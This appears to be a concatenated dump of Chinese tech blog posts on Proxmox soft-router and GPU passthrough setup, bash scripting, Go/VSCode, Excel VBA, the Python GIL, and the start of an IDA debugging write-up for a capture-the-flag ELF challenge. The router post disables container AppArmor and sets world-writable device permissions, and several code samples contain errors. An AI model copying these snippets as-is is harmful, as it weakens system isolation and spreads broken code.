家庭组网-软路由 /archives/fb727318.html 最近在折腾家庭组网，买了一个软路由：N5105+16G+256 SSD。pve+ikuai+openwrt。由于有两条宽带（移动+电信），因此，使用ikuai进行分流，op进行科学。

背景

之前在上个地方用的是电信+ESXI+iKuai+OpenWrt，由于电信给了公网IPV4，所以这套配置一直用的也很舒服。在现在这个地方已经装了移动的宽带，移动不给公网IPV4，通过使用ipv6的方式解决了公网访问，但是ipv6的情况ikuai没有防火墙配置，导致需要走op进行ipv6分配。那时候弄了半天，将ESXI改成PVE（其实是配置OpenWrt的防火墙时候，把策略都搞乱了。所以，重新搭建），成功使用ipv6（防火墙）。但存在不完美的地方，网卡需要经常重启，且openclash打开的情况，经常会出现访问国内网络不稳定（关了openclash也会出现）。因此，重新拉了一条电信宽带。

系统安装

PVE

下载对应iso，使用BalenaEtcher烧录到U盘。从U盘启动进行安装即可。开启直通。

nano /etc/default/grub
  GRUB_DEFAULT=0
  GRUB_TIMEOUT=5
  GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian`
  GRUB_CMDLINE_LINUX_DEFAULT="quiet intel_iommu=on"
  GRUB_CMDLINE_LINUX=""
update-grub
nano /etc/modules
	vfio
  vfio_iommu_type1
  vfio_pci
  vfio_virqfd
update-initramfs -u -k all.

iKuai

创建虚拟机之后，加载iso之后配置对应LAN地址即可。需要添加PCIE设备，将所有网卡都添加进去。

PCI

OenWrt

创建虚拟机之后，删除硬盘之后将对应img添加即可。

qm importdisk 101 /var/lib/vz/template/iso/OpenWrt.img local-lvm

网络配置

iKuai

直接划分两个WAN口，分别用作电信、移动拨号。

ikuai

PPOE

将对应密码填入即可，将电信选择为默认线路。

DHCP

将网关地址设置为OpenWrt的地址、首选DNS也配置为OpenWrt的地址。

DNS

DNS也将首选DNS配置为OpenWrt地址即可。

跨三层应用

由于是旁路由模式，所以配置SNMP服务器IP为OpenWrt即可。

DDNS

由于电信给了公网IP，配置ddns便于外网访问。【高级应用】-【动态域名】里进行配置，由于使用的是dnspod.cn，在使用前需要申请对应TokenID、Token Key，并且需要现在对应的域名中先创建一条对应的A记录。

动态域名

配置完之后，在【网络配置】-【端口映射】里配置对应规则即可。

分流

暂未配置。（没想清楚如何分流更加合适，之后再配置）

OpenWrt

OpenWrt作为网关，并进行科学上网。

PVE

显卡直通

升级pve版本至7.4-3之后，修改以下配置。

换源

cat /dev/null > /etc/apt/sources.list

cat > /etc/apt/sources.list <<EOF
deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye main contrib non-free
deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-updates main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-updates main contrib non-free
deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-backports main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-backports main contrib non-free
deb https://mirrors.tuna.tsinghua.edu.cn/debian-security bullseye-security main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/debian-security bullseye-security main contrib non-free
EOF

升级pre

apt update && apt install pve-kernel-5.19

下载依赖

mkdir -p /lib/firmware/i915 && cd /lib/firmware/i915
curl -LO https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/plain/i915/ehl_guc_70.1.1.bin
curl -LO https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/plain/i915/ehl_huc_9.0.0.bin
curl -LO https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/plain/i915/icl_dmc_ver1_09.bin

apt install software-properties-common

wget -qO – https://repositories.intel.com/graphics/intel-graphics.key |
apt-key add –
apt-add-repository 'deb [arch=amd64] https://repositories.intel.com/graphics/ubuntu focal main'

apt install intel-microcode -y
apt install intel-opencl-icd intel-level-zero-gpu level-zero intel-media-va-driver-non-free libmfx1

ls -l /dev/dri

安装lxc，并修改对应lxc配置

vim /etc/pve/lxc/102.conf # 根据lxc对应ID进行修改
  lxc.cgroup2.devices.allow: c 226:0 rwm
  lxc.cgroup2.devices.allow: c 226:128 rwm
  lxc.mount.entry: /dev/dri/card0 dev/dri/card0 none bind,optional,create=file
  lxc.mount.entry: /dev/dri/renderD128 dev/dri/renderD128 none bind,optional,create=file
  lxc.apparmor.profile: unconfined
  lxc.cap.drop:

vim /etc/modprobe.d/i915.conf
	options i915 enable_guc=3
	
vim /lib/systemd/system/rc-local.service
  [Install]
  WantedBy=multi-user.target

cat <<EOF >/etc/rc.local
#!/bin/sh -e
#
#rc.local
#
# This script is executed at the end of each multiuser runlevel.
# Make sure that the script will "exit 0" on success or any other
# value on error.
#
# In order to enable or disable this script just change the execution
# bits
#
# By default this script does nothing.**
chmod 777 /dev/dri/*
exit 0
EOF

chmod +x /etc/rc.local
systemctl enable rc-local.service

reboot

journalctl -b -o short-monotonic -k | egrep -i "i915|dmr|dmc|guc|huc"

配置完之后，安装embyServer，并通过NFS挂载磁盘（lxc需开启特权，并且开放NFS功能）

dpkg -i emby-server-deb_XXX_amd64.deb

systemctl enable emby-server
systemctl start emby-server

apt-get update && apt install intel-gpu-tools && sudo apt install nfs-common
install_gpu_top

cat <<EOF >/etc/rc.local
#!/bin/sh -e
#
#rc.local
#
# This script is executed at the end of each multiuser runlevel.
# Make sure that the script will "exit 0" on success or any other
# value on error.
#
# In order to enable or disable this script just change the execution
# bits
#
# By default this script does nothing.**
mount -t nfs ip:/volumnX/xxx /mnt/xxx
# mount -t nfs ip:/volumnX/xxx /mnt/xxx
# mount -t nfs ip:/volumnX/xxx /mnt/xxx
# mount -t nfs ip:/volumnX/xxx /mnt/xxx
# mount -t nfs ip:/volumnX/xxx /mnt/xxx
EOF

chmod +x /etc/rc.local
systemctl enable rc-local.service

温度监控

安装对应依赖

apt-get install lm-sensors
apt-get install hddtemp
apt-get install lm-sensors patch

修改/usr/share/perl5/PVE/API2/Nodes.pm文件，在ksm后面加入对应内容。

$res->{ksm} = {
    shared => $meminfo->{memshared},
       };

# $res->{temperatures} = `sensors`;
$res->{sensors_json} = `sensors -j`; # JSON格式输出传感器数据
$res->{smartctl_nvme_json} = `smartctl -a -j /dev/nvme?`; # 读取 nvme 硬盘 S.M.A.R.T. 值，获取硬盘寿命、容量、温度等
$res->{cpusensors} = `lscpu | grep MHz`; # 读取 CPU 频率
# $res->{hddtemp} = `hddtemp /dav/sd?`; # JSON格式输出传感器数据

$res->{swap} = {
    free => $meminfo->{swapfree},
    total => $meminfo->{swaptotal},
    used => $meminfo->{swapused},
};

$res->{pveversion} = PVE::pvecfg::package() . "/" .
    PVE::pvecfg::version_text();

my $dinfo = df('/', 1);     # output is bytes

$res->{rootfs} = {
    total => $dinfo->{blocks},
    avail => $dinfo->{bavail},
    used => $dinfo->{used},
    free => $dinfo->{blocks} - $dinfo->{used},
};

return $res;
   }});

修改/usr/share/pve-manager/js/pvemanagerlib.js，在cpuinfo后面添加对应内容。

{
    itemId: 'cpus',
    colspan: 2,
    printBar: false,
    title: gettext('CPU(s)'),
    textField: 'cpuinfo',
    renderer: Proxmox.Utils.render_cpu_model,
    value: '',
},
{
    itemId: 'sensinfo',
    colspan: 2,
    printBar: false,
    title: gettext('温度传感器'),  // WEB显示内容
    textField: 'sensors_json',
    renderer:function(value){
        value = JSON.parse(value.replaceAll('Â', ''));
        const c9 = value['coretemp-isa-0000']['Package id 0']['temp1_input'].toFixed(1);
        const c0 = value['coretemp-isa-0000']['Core 0']['temp2_input'].toFixed(1);
        const c1 = value['coretemp-isa-0000']['Core 1']['temp3_input'].toFixed(1);
        const c2 = value['coretemp-isa-0000']['Core 2']['temp4_input'].toFixed(1);
        const c3 = value['coretemp-isa-0000']['Core 3']['temp5_input'].toFixed(1);
        // const f1 = value['it8786-isa-0a40']['fan1']['fan1_input'].toFixed(1);
        const n1 = value['nvme-pci-0100']['Composite']['temp1_input'].toFixed(1);
        const a0 = value['acpitz-acpi-0']['temp1']['temp1_input'].toFixed(1);
        return `主板温度: ${a0}°C || CPU温度: ${c9}°C || NVME温度: ${n1}°C <br> CPU核心温度: ${c0}°C || ${c1}°C || ${c2}°C || ${c3}°C<br>`;  // 输出格式
    }
},
{	
    itemId: 'nvme_ssd',
    colspan: 2,
    printBar: false,
    title: gettext('NVME'),
    textField: 'smartctl_nvme_json',
    renderer: function(value) {
        value = JSON.parse(value);
        if (value['model_name']) {
            try {var model_name = value['model_name'];} catch(e) {var model_name = '';} 
            try {var percentage_used = ' | 使用寿命: ' + value['nvme_smart_health_information_log']['percentage_used'].toFixed(0) + '% ';} catch(e) {var percentage_used = '';} 
            try {var data_units_read = value['nvme_smart_health_information_log']['data_units_read']*512/1024/1024/1024;var data_units_read = '(读: ' + data_units_read.toFixed(2) + 'TB, ';} catch(e) {var data_units_read = '';} 
            try {var data_units_written = value['nvme_smart_health_information_log']['data_units_written']*512/1024/1024/1024;var data_units_written = '写: ' + data_units_written.toFixed(2) + 'TB)';} catch(e) {var data_units_written = '';} 
            try {var power_on_time = ' | 通电: ' + value['power_on_time']['hours'].toFixed(0) + '小时';} catch(e) {var power_on_time = '';} 
            try {var temperature = ' | 温度: ' + value['temperature']['current'].toFixed(1) + '°C';} catch(e) {var temperature = '';} 
            return `${model_name}${percentage_used}${data_units_read}${data_units_written}${power_on_time}${temperature}`;
        } else { 
            return `提示: 未安装硬盘或已直通硬盘控制器`;
        }
    }
},
{
    itemId: 'MHz',
    colspan: 2,
    printBar: false,
    title: gettext('CPU频率'),
    textField: 'cpusensors',
    renderer:function(value){
        var f0 = value.match(/CPU MHz.*?([\d]+)/)[1];
        var f1 = value.match(/CPU min MHz.*?([\d]+)/)[1];
        var f2 = value.match(/CPU max MHz.*?([\d]+)/)[1];
        return `实时: ${f0} MHz || 最小: ${f1} MHz | 最大: ${f2} MHz `
    }
},

然后重启pve服务即可。systemctl restart pveproxy

pveStatus

]]> 瞎折腾 Linux-Bash(一) /archives/33a6bcb.html 我回来了，这次接触的是Linux下的shell脚本。

前言

最近常常在Linux下启动一堆服务，每次重启电脑就得敲一堆命令，让我这个懒癌患者深受困扰！！基于不想把它们加入开机自启的前提，就开始动手写个Bash脚本将它们一键全部启动。

Bash

解释器

shell脚本首行需要有一个固定的格式，其意义表明使用对应解释器解析该脚本，常常有/bin/bash，/bin/sh等，这里我用的是bash:

#!/bin/bash

常用语法

变量声明：name=
变量调用：$name
命令行参数获取：

$0     # 命令行第一个变量 往往为脚本名称
$1     # 命令行第二个变量
$2     # 命令行第三个变量
$3     # 命令行第四个变量
$init  # 命令行第init变量

多分支判断：

case str in
  mode)
    command
    ;;
  mode)
    command
    ;;
esac

编写思路

首先定义各个服务的工作目录设置成对应变量，使用分支判断调用不同功能：启动服务、杀死服务进程、修改服务配置等。

脚本编写

根据编写思路，需要使用到的命令大致分为：启动、杀进程（kill）、修改（seq）等。

启动

在不同的环境变量下，启动服务的命令不同。在这里我拿启动python为例。

#!/bin/bash
python=/usr/bin/python

case $1 in
  start)
    $python
    ;;
esac

使用./shell.sh start来启动python

杀进程

Linux下使用kill命令即可杀进程，在这里我拿杀死启动的python为例。

#!/bin/bash
python=/usr/bin/python

case $1 in
  kill)
    pid_python=`ps -ef|grep $python|grep -v "$0"|grep -v "grep"|awk '{print $2}'`
    kill -9 $pid_python
    ;;
esac

使用./shell.sh kill来杀死python

修改

需要对服务配置文件进行修改的时候，使用Linux的seq命令可以完成。

#!/bin/bash
config=/opt/config.cnf

case $1 in
  config)
    sed -i 's/port=.*/port=80/g' $config
    ;
esac

使用./shell.sh config来修改config.cnf文件

总结

在编写bash脚本的时候，大部分问题都是由格式、编码等引起。

在Windows下编写，在Linux下使用，大概率会由换行符导致脚本无法运行：Windows下换行符为CRLF（正则表达式的\r\n，ASCII码的13和10），Unix（or Linux）下换行符为LF（正则表达式的\n）。这个问题会导致在Linux下运行\r\n为无效参数、vi等编辑器打开会出现^M、脚本头部出现乱码字符等;
Linux Shell脚本单引号、双引号在使用时，具有不同效果：单引号为所见即所得、双引号为解析之后所得;
seq命令在替换特殊字符时可以用\来转义（正则转义）。

完整代码

由于这个脚本涉及到一些机密的东西，完整代码不能上传到GitHub。望理解！

]]> Code Bash Code Bash Go-VSCode环境搭建 /archives/c70ca2a9.html 最近项目上用到了Go，因此对VSCode进行Go环境搭建。效果图如下：
GO debug.png

Go

Go安装

去Golang官网下载对应版本的安装包，我这里是Windows操作系统，因此下载go1.10.2.windows-amd64.msi。由于Golang官网需要科学上网，如果没有翻墙的软件，可以去Go语言中文网下载，下载页面。
安装过程直接Next过去即可。
go install.png
安装完成之后，打开CMD输入go version查看go 版本信息。
go version.png

Go环境配置

Go安装完成之后，在CMD下输入go env查看go的环境变量。
go env.png
有两个关键的变量：GOROOT、GOPATH。GOROOT为Go安装目录不需要进行修改，GOPATH为Go项目地址可以进行修改。在喜欢的地方建立一个Go项目目录。这里我在C盘根目录下建立一个文件夹，名称为GoWork。然后将其配置到系统环境变量中。
sys env.png
配置完成之后，重新打开一个CMD输入go env查看是否生效。
go path env.png
到此Go的配置告一段落。

VSCode

VSCode安装

去Visual Studio Code官网下载对应版本的安装包安装即可。安装过程直接Next过去即可。

VSCode安装完成之后需要配置Git，可以查看这篇文章搭建博客，这里就不展开了。
vscode gui.png

VSCode环境配置

Go插件安装

在VSCode商店里面安装对应Go插件。可以直接通过VSCode欢迎使用页面的自定义→工具和语言→更多进行跳转。
vscode go install.png
安装完成之后打开Go项目文件夹，新建一个hello.go，打开hello.go，在右小角进行点击Install All安装所依赖的库（该步骤需要翻墙）。
vscode go install all.png
安装完成之后，在工作目录下会多出一个bin子目录里面会放所需要的exe文件。如果翻不了墙，那么可以直接下载这个，放到Go项目文件夹下的bin目录即可。
链接：https://pan.baidu.com/s/19w01LlfY8iEsLm5gJmP5Lw 密码：umao

Debug

完成以上操作之后，可以通过F5进行Debug。
vscode go debug.png

总结

在进行VSCode进行Go Debug时，遇到了几个需要注意点，在此记录一下供诸君参考：

完成Go安装之后，需要进行GOPATH环境变量配置，便于项目目录查找；
完成VSCode安装之后，在VSCode的终端里面输入go命令查看VSCode是否能调用系统环境变量。如果在VSCode终端找不到go命令，在用户环境变量里面进行添加可以解决该问题。假设还解决不了，直接在终端进行path环境变量追加set path=%path%;C:\go\bin；
如果VSCode依赖的库安装失败，直接把src、bin、pkg目录都删除，然后重新安装。

Go代码

package main

import "fmt"

func main() {
    fmt.Println("Hello, Hywell")
}

]]> Code Golang 环境搭建 Go Excel-双击自动引用图片(二) /archives/9b0fde12.html 　在Excel-双击自动引用图片(一)中,已经成功实现双击调用同Worksheet的不同sheets的区域,并转换成图片显示.接下来开始进阶的内容了:调用不同Worksheet的不定sheets区域(后台显示)、图片命名等.最主要的是将代码以过程封装起来,便于调用.

需求描述

　本次需求包括:数据来源不同Worksheet、后台调用Worksheet、图片属性操作、封装调用.

准备

　由于需要将代码封装调用，所以要了解VBA中函数定义、过程调用。

进阶知识

　VBA中有两种定义方式:Sub function.Sub是过程、Function是函数.两者区别在于Sub不能返回值、Function可以返回值；Sub可以直接执行、Function需要调用才能执行.由于需要直接执行,所以使用Sub.

Sub testS(arg)
	Msgbox "调用Sub,传递的参数为" & arg
	If arg = 1 Then
		Exit Sub
	End If
	Msbox "结束"
End Sub

Function testF(arg)
	Msgbox "调用Function,传递的参数为" & arg
	If arg = 1 Then
		Exit Function
	End If
	Msbox "结束"
End Function

　VBA使用CreateObject来创建对象.

编写思路

　通过对需求的解读,可以将整体分为三块:1.工作Worksheet获取双击单元格值、2.根据单元格值获取对应数据区域、3.根据对应数据区域生成图片.三块每块对应一个过程:第一块创建对象、变量等，并获取单元格值，向第二块传递需要Worksheet对象和单元格值、第二块向第三块传递[Worksheet对象、sheets值、数据区域、高度].

总结

对象在使用完之后,需要清空,要不然一直会在内存当中;
单元格包含某个值的时候,使用InStr(Range(“A1”), getValue).

完整代码

Private Sub Worksheet_BeforeDoubleClick(ByVal Target As Range, Cancel As Boolean) '定义双击事件
    Dim getExit As Integer
    getExit = 0
    Application.ScreenUpdating = False '屏幕不更新
    
    For Each im In ActiveSheet.Shapes '删除名字为测试的图片
        If im.Name = "测试" Then
            im.Delete
        End If
    Next

    Dim getValue As String '单元格值
    Dim Work1 As Workbook '定义工作Excel变量
    Dim Work2 As Workbook '定义工作Excel变量
    top = Target.top ' 获取当前活动单元格的高度

    Set Work1 = CreateObject("C:\Users\Hywell\Desktop\test.xlsx") '创建Worksheet对象
    Set Work2 = CreateObject("C:\Users\Hywell\Desktop\test2.xlsx") '创建Worksheet对象

    Allsheets = Array(Work1, Work2) '定义工作Excel数组
    
    getValue = Range(Target.Address) '获取当前活动单元格地址的内容
    If Target.Column = 6 Then '判断是否为F列
        If getValue = "" Then
            MsgBox "数据为空!"
        Else
            For Each i In Allsheets '遍历工作Excel数组
                If getExit = 0 Then
                    Call getResult(i, getValue, getExit, top) '调用getResult函数 获取所需数据区域
                Else
                    Exit For
                End If
            Next
            If getExit = 0 Then
                MsgBox "找不到对应明细表!"
            End If
        End If
    End If
    
    Set Work1 = Nothing '清空Work1对象
    Set Work2 = Nothing '清空Work2对象
    
End Sub

Sub getResult(Worksheet, getValue, getExit, top) '获取数据(getValue)区域
    Dim getInt As Integer '开始行数
    Dim getInt2 As Integer '最后行数
    Dim getNum As Integer '用于退出Fox循环
    Dim getWork As Integer '获取工作的sheet
    Dim Time As String '定义定位标识符
    
    getInt = 0 '初始化
    getInt2 = 0 '初始化
    getNum = 0 '初始化
    Time = "日期" '初始化

    For y = 1 To Worksheet.Sheets.Count '遍历工作Excel中的Sheet的数量
        For i = 1 To Worksheet.Sheets(y).UsedRange.Rows.Count '遍历sheet已经被使用单元格的行数
            If Worksheet.Sheets(y).Range("F" & i) = getValue Or InStr(Worksheet.Sheets(y).Range("I" & i), getValue) Then '根据货号取得对应sheet的I列中第一次出现
                getInt = i
                getNum = getNum + 1
                Exit For
            End If
        Next
    
        If getInt <> 0 Then
            For i = getInt To Worksheet.Sheets(y).UsedRange.Rows.Count '从getInt遍历sheet2已经被使用单元格的行数
                If InStr(Worksheet.Sheets(y).Range("A" & i), Time) Then
                    getInt2 = i + 1
                    Exit For
                End If
            Next
        End If

        If getInt <> 0 Then
            getWork = y
            Exit For
        Else
            getWork = 1
        End If
    Next

    If getInt2 = 0 Then
        getInt2 = getInt
    End If
    
    If getInt <> 0 Then
        Call getImage(Worksheet, getWork, getInt, getInt2, top) '调用getImage生成图片
        getExit = getExit + 1
    End If
    
End Sub

Sub getImage(Worksheet, getWork, getInt, getInt2, top)
    Worksheet.Sheets(getWork).Range("A" & getInt - 2 & ":O" & getInt2).Copy
    
    With ActiveSheet.Pictures.Paste(Link:=True) '设置图片属性
        .Left = 1110
        .top = top
        .Name = "测试"
    End With
    Application.CutCopyMode = False
End Sub

]]> Code VBA Code VBA Excel Excel-双击自动引用图片(一) /archives/343e4570.html 　最近遇到一个朋友在使用Excel的时候遇到一个问题。朋友有难，岂能不帮？

需求描述

　在Excel的sheet1中有一组汇总表，其中包含了两组信息[表名、货号]。在对应表中，有详细信息[货号、型号、价格、数量]。当双击sheet1中的具体货号的单元格，将详细信息显示在sheet1中。效果图如下。
效果图.png

准备

　由于涉及到自动引用，并且在Excel中没有找到对应的函数。所以，需要自己写VBA(Visual Basic For Applications)来实现。

基础知识

　对VBA也不甚了解，所以，需要基础扫盲一下。根据上述需求，可以得知我们需要编写的功能有：双击执行事情、获取单元格值、截图功能、筛选功能等。
　VBA提供了单击执行事情(Worksheet_SelectionChange)、双击执行事件(Worksheet_BeforeDoubleClick)、单元格内容改变执行事情(Worksheet_Change)等函数。可以通过Worksheet_BeforeDoubleClick来完成双击执行事件。

Private Sub Worksheet_BeforeDoubleClick(ByVal Target As Range, Cancel As Boolean)
    MsgBox "你进行了双击！"
End Sub

　VBA定义变量是通过Dim variable As Type(String、Integer等)进行定义的。本例定义了四个变量，用来存储信息。

Dim getValue As String '单元格值
Dim getInt As Integer '第一次出现行数
Dim getInt2 As Integer '最后出现行数
Dim getNum As Integer

　VBA中的For循环，需要与Next成对出现。退出For的话用exit for
for循环.jpg

For i=1 To 10 Then
    MsgBox i
    exit for
Next

　VBA中的If语句，需要与Then、End If成对出现。

If i = 10 Then
    MsgBox i
End If

　VBA中的图片删除、生成等操作。这里图片生成是指对应区域单元格的链接图片。

For Each im In ActiveSheet.Shapes
    ActiveSheet.Shapes.Delete
Next
Sheet2.Range("A1:D1").Copy
ActiveSheet.Pictures.Paste(Link:=True).Select
Application.CutCopyMode = False

　VBA中获取单元格信息，用target即可。

Target.Address `目标但单元格的地址
Target.Column `目标单元格的列
Range(Target.Address) `目标单元格的值

　VBA中的运算符号，等于、大于等于、小于等于、不等于分别问=、>=、<=、<>。

编写思路

　通过相应的基础扫盲，现在已经具备了一定的VBA编程的基础。通过对需求的解读，整理一下思路即可。
　首先定义双击事件，获取活动单元格的值，赋值给对应参数getValue。获取另一张表格已被使用的单元格行数，通过For循环遍历某列所有行，用于匹配getValue。第一次匹配成功为数据开始行，最后一次匹配成功为数据结束行。通过获取的行数，结合需要使用的列，获取需要的单元格区域。将此单元格区域通过图片生成的方式，显示在页面上。

总结

VBA格式格式严谨，if、then、end if for、next with、end with都成对出现;
VBA处理思路需要按照无到有的思路，如果已经执行过copy，需要先清空，才能再次执行;
图片生成之后，需要定义出现的位置。不定义出现位置，导致图片直接顶格出现;
该例子在图片生成之前会清空所有图片，不清空，每次双击对应单元格就会生成一张图片;
一开始准备用自定义函数来编写，后面发现本身集成了需要对应的函数(单机事情、双击事情)，因此，对一门语言了解其自带的函数很重要。

完整代码

Private Sub Worksheet_BeforeDoubleClick(ByVal Target As Range, Cancel As Boolean) 'sheet1双击事情
    For Each im In ActiveSheet.Shapes '删除所有图片
        im.Delete
    Next
    
    Dim getValue As String '单元格值
    Dim getInt As Integer '第一次出现行数
    Dim getInt2 As Integer '最后出现行数
    Dim getNum As Integer '用于判断是否是第一次
    
    
    getInt = 0 '初始化
    getInt2 = 0 '初始化
    getNum = 0 '初始化
    

    getValue = Range(Target.Address) '获取当前活动单元格地址
    If Target.Column = 1 Then '判断是否为sheet1中的A列
        For i = 1 To Sheet2.UsedRange.Rows.Count '遍历sheet2已经被使用单元格的行数
            If Sheet2.Range("A" & i) = getValue Then '取得sheet2的A列中第一次出现、最后一次出现的行数
                If getNum = 0 Then
                    getInt = i
                Else
                    getInt2 = i
                End If
                getNum = getNum + 1
            End If
        Next
    End If
    
    If getInt2 = 0 Then
        getInt2 = getInt
    End If
    
    '遍历获取所有单元格
    If getInt <> 0 Then
        Sheet2.Range("A" & getInt - 2 & ":D" & getInt2).Copy
        ActiveSheet.Pictures.Paste(Link:=True).Select
        With ActiveSheet.Pictures
            .Left = 400
            .Top = 0
        End With
        Application.CutCopyMode = False
    Else
        Sheet2.Range("A1:D2").Copy
        ActiveSheet.Pictures.Paste(Link:=True).Select
        With ActiveSheet.Pictures
            .Left = 400
            .Top = 0
        End With
        Application.CutCopyMode = False
    End If
End Sub

]]> Code VBA Code VBA Excel Python多线程&&多进程&&协程 /archives/f4423a86.html 针对Python的多线程、多进程、协程等进行学习。

Python 多线程多进程协程

GIL——Global Interpreter Lock

如果要谈python的多线程、多进程、协程，那么必须要先说一下GIL（Global Interpreter Lock——全局解释器锁）。GIL主要是用来保护访问Python对象的互斥锁（当多个线程同时去请求同一个对象是如果没有进行锁的操作会导致数据异常）。许多时候说到GIL都是直接跟python做了绑定关系，容易造成GIL是python的语言特性，其实，GIL并不是python的语言特性，而是CPython解释器特性（根据名字也可以知道）。由于GIL的关系导致python在同一时刻只有一个线程在运行，这就是大家为什么说python的多线程“无用”的原因。

python解释器：

CPython：官方默认解释器，由C语言开发，有GIL
IPython：基于CPython开发的交互式解释器，只是增强了交互功能，执行功能与CPython完全一样
PyPy：JIT（Just-In-Time Compiler 即使编译器），对python代码进行动态编译，有GIL
Jython：Java平台的python解释器，依赖java，无GIL
IronPython：.Net平台的python解释器，依赖.Net平台，无GIL

Ps：解释器跟编译器大概的区别：解释器立即执行代码、编译器为执行准备源码。

GIL可以理解为线程运行许可证，只有当线程拿到GIL时，这个线程才会进入CPU进行运行。那么如果运行CPU密集运算型任务时，多线程没有正面效果（有可能反面效果）。

多核CPU多线程<单核CPU多线程

每个CPU在同一时间只能运行一个线程并发、非并行

在python多线程中，每个线程执行方式：

获取GIL
执行代码直至sleep或者python虚拟机将其挂起
释放GIL

Python2.x

在python2.x中，GIL释放逻辑是当前线程遇到IO操作或者ticks计数为100。ticks可以理解为python专用做于GIL的计数器，解释器指令，每次释放后归零，可通过sys.setcheckinterval来调整。

Python3.x

在python3.x中，GIL释放逻辑不使用ticks进行计数，改用计时器，执行时间达到阀值（5毫秒），当前线程释放GIL。

当GIL释放后，多核CPU上的线程开始竞争GIL

单核模型

A线程获取GIL——A线程运行——A线程释放GIL——B线程获取GIL——B线程运行——B线程释放GIL···

多核模型

CPU0:

A线程获取GIL——A线程运行——A线程释放GIL————B线程获取GIL——————线程B释放GIL——线程C获取

CPU1:

—————————————————————唤醒线程Q——线程Q等待——线程Q切换成待调度——唤醒线程W——线程W等待

通过上述模型可知多核CPU多线程劣于单核CPU多线程（CPU密集型任务）。

但是在IO密集型任务时多核多线程优于单核CPU多线程，这是因为IO密集型任务主要的时间时消耗在等待中。

GIL历史背景

python首次出现时间为1990，那时候CPU厂商还在通过提高核心频率来提高计算机性能。但在2000年后遇到天花板，开始转向多核方向来提高计算机性能。所以在一开始设计解释器时，没有想到多核时代这么快就来了。

GIL删除？

删除GIL有一个关键的难点：许多库依赖GIL，默认线程安全，如果删除去除GIL，那么代价太大。

多进程

由于多进程每个进程都有一个GIL，某些情况下多进程比多线程好。多进程劣势：

相比线程笨重
切换耗时长
多进程数量不推荐超过cpu核心数（一个进程一个GIL，一个GIL跑满一个CPU）

协程

协程是编译器级，进程、线程是操作系统级。进程、线程由OS调度，开发者无法精确的控制。协程实现的是非抢占式调度，即如何调度可由开发者控制。

协程优点

轻量、成本小
减少CPU开销
减少同步加锁
同步思维处理异步代码

缺点

不能有阻塞操作
需特别关注全局变量、对象引用的操作

协程是基于事件循环方案，

Python源码保护

python源码文件py格式，字节码文件pyc、pyo等类型，pyc、pyo这些由解释器所生成的字节码文件，然后解释器再执行字节码文件。因此，可以通过重构一下python解释器来对python源码进行保护。

Pyc

pyc文件由三部分组成

最开始4个字节是一个Maigc int, 标识此pyc的版本信息, 不同的版本的 Magic 都在 Python/import.c 内定义
接下来四个字节还是个int,是pyc产生的时间(TIMESTAMP, 1970.01.01到产生pyc时候的秒数)

接下来是个序列化了的 PyCodeObject(此结构在 Include/code.h 内定义),序列化方法在 Python/marshal.c 内定义

/* Magic word to reject .pyc files generated by other Python versions.
   It should change for each incompatible change to the bytecode.
   The value of CR and LF is incorporated so if you ever read or write
   a .pyc file in text mode the magic number will be wrong; also, the
   Apple MPW compiler swaps their values, botching string constants.
   The magic numbers must be spaced apart atleast 2 values, as the
   -U interpeter flag will cause MAGIC+1 being used. They have been
   odd numbers for some time now.
   There were a variety of old schemes for setting the magic number.
   The current working scheme is to increment the previous value by
   10.
   Known values:
       Python 1.5:   20121
       Python 1.5.1: 20121
       Python 1.5.2: 20121
       Python 1.6:   50428
       Python 2.0:   50823
       Python 2.0.1: 50823
       Python 2.1:   60202
       Python 2.1.1: 60202
       Python 2.1.2: 60202
       Python 2.2:   60717
       Python 2.3a0: 62011
       Python 2.3a0: 62021
       Python 2.3a0: 62011 (!)
       Python 2.4a0: 62041
       Python 2.4a3: 62051
       Python 2.4b1: 62061
       Python 2.5a0: 62071
       Python 2.5a0: 62081 (ast-branch)
       Python 2.5a0: 62091 (with)
       Python 2.5a0: 62092 (changed WITH_CLEANUP opcode)
       Python 2.5b3: 62101 (fix wrong code: for x, in ...)
       Python 2.5b3: 62111 (fix wrong code: x += yield)
       Python 2.5c1: 62121 (fix wrong lnotab with for loops and
                            storing constants that should have been removed)
       Python 2.5c2: 62131 (fix wrong code: for x, in ... in listcomp/genexp)
       Python 2.6a0: 62151 (peephole optimizations and STORE_MAP opcode)
       Python 2.6a1: 62161 (WITH_CLEANUP optimization)
       Python 2.7a0: 62171 (optimize list comprehensions/change LIST_APPEND)
       Python 2.7a0: 62181 (optimize conditional branches:
                introduce POP_JUMP_IF_FALSE and POP_JUMP_IF_TRUE)
       Python 2.7a0  62191 (introduce SETUP_WITH)
       Python 2.7a0  62201 (introduce BUILD_SET)
       Python 2.7a0  62211 (introduce MAP_ADD and SET_ADD)
.
*/

PyCodeObject包含了python代码中所有内容：字符串、常量值以及字节码指令等等

]]> Code Python3 Code Python3 IDA动态调试-ELF /archives/260d9dca.html 使用IDA对ELF文件进行简单的动态调试。

hero

程序流程

将文件下载到本地之后使用编辑器打开，可以看到是一个ELF文件。放在Linux下运行，可知道是一个”打怪”的一个小程序：需要通过打怪提高战斗力，最后杀死巨龙。

hero

根据信息可得知需要Combat超过一定数值才行，思路大概可分为以下几种：

正常运行，慢慢升级，直至通关；
静态修改ELF文件中的特定值，如coins、Combat等；
动态调试，将逻辑判断nop掉。

这里选择通过IDA进行动态调试进行pass。

静态分析

使用IDA打开该文件，可以发现几个关键函数：decrypt1、decrypt2、decrypt3、outflag、slime、boss、store等

ida

由于已经知道需要打怪才能获取flag，那么直接查看boss函数的伪代码(F5)

ida

可以看到需要打三次boss才能成功获取flag，那么只需要将三次的if判断语句跳过即可。

动态调试

在IDA视图跳转至main函数之后，在main函数下一个断点，然后启动debug，这里选择Remote Linux debugger，之后需要配置程序目录、hostname、password等。

ida

